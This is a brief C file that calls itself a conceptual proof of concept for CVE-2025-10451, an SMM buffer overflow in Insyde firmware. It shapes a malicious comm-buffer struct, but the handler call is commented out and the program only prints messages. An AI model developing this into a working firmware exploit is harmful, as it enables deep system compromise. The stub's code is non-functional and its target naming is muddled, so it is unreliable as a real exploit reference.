CVE-2025-10451

// CVE-2025-10451 PoC Concept (Pseudo-code for demonstration) // This is a conceptual PoC for the SMM buffer overflow vulnerability // Requires local access and high privileges #include <stdio.h> #include <stdint.h> // SMM communication buffer structure (simplified) struct smm_comm_buffer { uint32_t buffer_size; uint64_t buffer_address; uint32_t command_id; }; // Trigger the SMM buffer overflow condition void trigger_smm_buffer_overflow(void) { struct smm_comm_buffer comm_buffer; // Prepare malicious input with oversized buffer comm_buffer.buffer_size = 0xFFFFFFFF; // Malicious size value comm_buffer.buffer_address = (uint64_t)0xDEADBEEF; // Arbitrary address comm_buffer.command_id = 0x01; // Specific command to trigger vulnerable code // Call SMM handler (would require specific firmware interface) // invoke_smm_handler(&comm_buffer); printf("[+] Triggering SMM buffer overflow for CVE-2025-10451\n"); printf("[+] Buffer size: 0x%X\n", comm_buffer.buffer_size); printf("[+] Target address: 0x%lX\n", comm_buffer.buffer_address); } int main() { printf("CVE-2025-10451 PoC - SMM Unchecked Output Buffer\n"); printf("Target: Insyde Security Pledge Firmware\n"); printf("CVSS: 8.2 (High)\n\n"); // Note: Actual exploitation requires specific firmware interface access // and local administrator/root privileges trigger_smm_buffer_overflow(); return 0; } // Note: This is a conceptual PoC for educational purposes only. // Real exploitation requires deep knowledge of specific firmware implementation // and specialized tools for SMM communication (e.g., RWEverything, ChipSec)
